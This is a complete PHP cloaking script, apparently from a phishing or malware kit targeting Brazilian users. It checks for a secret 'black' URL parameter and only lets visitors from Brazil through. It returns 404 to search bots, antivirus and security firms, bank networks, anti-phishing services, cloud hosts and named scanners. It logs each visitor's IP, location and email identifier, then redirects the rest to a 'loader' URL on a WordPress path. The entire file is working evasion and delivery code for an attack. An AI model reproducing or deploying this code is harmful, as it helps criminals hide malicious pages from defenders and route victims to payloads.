<?php
ini_set("display_errors", 1);
date_default_timezone_set('America/Sao_Paulo');
require_once('funcoes.php');

// === LOG DE BLOQUEIO (fallback) ===
if (!function_exists('logBlock')) {
    function logBlock($motivo) {
        $ip = getIp();
        $data = date('d/m/Y H:i:s');
        $str = "$data | BLOQUEADO | $ip | $motivo";
        file_put_contents('bloqueios.log', $str . PHP_EOL, FILE_APPEND | LOCK_EX);
    }
}

// === VARIÁVEIS INICIAIS ===
$status = "LIBERADO";
$lokao = "ii";
$celulares = "nao";
$ip = getIp();

// === LINKS DO LOADER ===
$input = array(
    "https://mountaincarellc.com/wp-content/index/"
);
shuffle($input);
$urlFake = $input[0];

// === PARÂMETRO BLACK (SEGURANÇA) ===
if (!isset($_GET['black'])) {
    $status = "BLOQUEADO";    
} else {
    $lokao = $_GET['black'] ?: "empty";
}

if (empty($_GET['black'])) {    
    $lokao = "empty";
}

// === BLOQUEIO POR USER-AGENT (BOTS, CRAWLERS, etc.) ===
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
if (preg_match('/Googlebot|bingbot|Slurp|LinkedInBot|python|libwww|nutch|phpcrawl|msnbot|FAST|Teoma|Gigabot|ia_archiver|HTTrack|grub|yacy|AISearchBot|MJ12bot|Yandex|purebot|Linguee|CyberPatrol|Baiduspider|TurnitinBot|heritrix|Ahrefs|IndeedBot|Zoominfo|facebookexternalhit|DuckDuckBot|Twitterbot|archive.org|Applebot|Screaming Frog|Scrapy|HeadlessChrome|PhantomJS|Discordbot|TelegramBot|UptimeRobot|Siteimprove|Diffbot|SEOkicks|Bytespider|Datanyze|Chrome-Lighthouse|serpstatbot|Jooblebot|CloudFlare-AlwaysOnline|Google-Structured-Data|Validator\.nu|W3C_|Netcraft|Zabbix|axios|curl|http_get|botify|CheckMarkNetwork|Streamline3Bot|MixnodeCache|RSSingBot|Friendica|NextCloud|Tiny Tiny RSS|RegionStuttgartBot/', $userAgent)) {
    $status = "BLOQUEADO";
    $lokao = "bot_ua";
}

// === BLOQUEIO POR HOSTNAME (LISTA NEGRA) ===
$HOST = gethostbyaddr($ip);
$HOSTS_BLOCK = array(
    "Microsoft Azure Cloud","windscribe","3mail","amazonaws.com","redacted","20.112.24.137","threatwave","as54203.net","ovh.net","Google Cloud",".googleusercontent","Microsoft Corporation",".tor.","123planosdesaude","VAULTVPN","activescan","alpha2","amazon","ancombraterney","anti-phishing","antipishing","antispam","antivirus","avast","bancopastor","bancopopular","banesto","bankofamerica","barracuda","bb.com.br","bitdefender","bradesco","cajamadrid","chicago ","cia.gov","clamav","clamwin","cleandir","colocrossing","coloup","consumer","customer","datapacket","delitosinformaticos","detector","dimenoc","dnblead","donategrid","dufrio","easysol","ebay.com","eset","eveocloud","f-secure","fasano","fbi.gov","fraudwatchinternational","free-av","gfihispana","greenmountainaccess","grisoft","hands","hauri-la","hispasec","instantcheckmain","itau","iwgroup","kapersky","laarnes","letti","linode","mailcontrol","mailstream","mallshill","marimex","mcafee","mgconecta","microsoft.com","midphase","monitor","movistar","msn.com","nephosdns","netcraft.com","nod32","norton","offerzz1","onlinedc","opendns","owned-networks","panda.com","pandasoftware","paypal","phish","pish","prcdn","protectedgroup","quadranet","rodobens.com.br","rsa.com","rsghosting","sajonaramail","santander","scaleway","scotiabank","security","seguridad","sescsp","sophos","spamfirewall2","spfbl","symantec","thinins","trendmicro","trustwave","unicaja","utfpr.edu.br","verisign","veritas","viabcp","vnunet","vodafone","vultr","wbinfo","webandseo ","zonealarm"
);

foreach ($HOSTS_BLOCK as $ROWS) {
    if (stripos($HOST, $ROWS) !== false) {
        $status = "BLOQUEADO";
        $lokao = "host_blocked";
        break;
    }
}

// === GEOLOCALIZAÇÃO ===
$localizacao = getGeo($ip);
$pais = isset($localizacao->countryCode) ? $localizacao->countryCode : "-";
$estado = isset($localizacao->region) ? $localizacao->region : "-";
$cidade = isset($localizacao->city) ? $localizacao->city : "-";
$organi = isset($localizacao->org) ? $localizacao->org : "-";

// === HOSTORG PARA FILTROS AVANÇADOS ===
$hostOrg = strtolower($organi . ' ' . $HOST);

// === BLOQUEIO FORTE: INFOSIMPLES / HSC / DESENV ===
$blockedStrong = [
    'infosimples', 'hsc', 'desenv e serv em tecnologia da informação',
    'infosimples.com.br-hsc desenv e serv'
];
foreach ($blockedStrong as $term) {
    if (stripos($hostOrg, $term) !== false) {
        logBlock("INFOSIMPLES_HSC_DESENV");
        http_response_code(404);
        exit();
    }
}

// === BLOQUEIO: AZURE / MICROSOFT / HOSTROYALE (SEM 'cloud') ===
if (stripos($hostOrg, 'azure') !== false || stripos($hostOrg, 'microsoft') !== false || stripos($hostOrg, 'hostroyale') !== false) {
    logBlock("HOST_SUSPEITO");
    http_response_code(404);
    exit();
}

// === BLOQUEIO: CLOUD / DATACENTER / BOTS (LIBERA WARP) ===
$blockedCloud = [
    'amazonaws','ec2-','compute-','cloudfront','digitalocean','linode','vultr','hetzner','ovh','contabo',
    'leaseweb','m247','scaleway','akamai','fastly','incapsula','imperva','barracuda','zscaler',
    'paloaltonetworks','datacenter','server','vps','vpn','tor','selenium','puppeteer','playwright','headless'
];

$isWARP = (stripos($hostOrg, 'cloudflare') !== false && stripos($hostOrg, 'warp') !== false);

foreach ($blockedCloud as $pattern) {
    if (stripos($hostOrg, $pattern) !== false) {
        if ($isWARP) break; // Cloudflare WARP é liberado
        logBlock("CLOUD_DATACENTER_BOT");
        http_response_code(404);
        exit();
    }
}

// === BLOQUEIO POR PAÍS (SOMENTE BR) ===
$destino = ["BR"];
if (!in_array($pais, $destino)) {
    $status = "BLOQUEADO";  
    $lokao = "blockPais";
}

// === DETECÇÃO DE MOBILE ===
$mobile = isMobile() ? "MOBILE" : "DESKTOP";
$celulares = ($mobile == "MOBILE") ? "sim" : "nao";

// === LOG DE ACESSO (IP ÚNICO) ===
$userAgent = getUserAgent();
$data = date('d/m/Y H:i:s');
$email = isset($_GET['cid']) ? $_GET['cid'] : "-";

$str = "$data|$ip|$pais|$lokao|$cidade|$userAgent|$mobile|$email|$HOST-$organi|$status";

// Salva no log apenas se o IP for novo
$conteudo = @file_get_contents($arquivoContador);
if (strpos($conteudo, $ip) === false) {
    file_put_contents($arquivoContador, $str . PHP_EOL, FILE_APPEND);
}

// === BLOQUEIO FINAL ===
if ($status == "BLOQUEADO") {
    header("HTTP/1.0 404 Not Found");
    die(); 
    exit();
}

// === REDIRECIONAMENTO (TODOS OS DISPOSITIVOS) ===
header('Location: ' . $urlFake);
exit();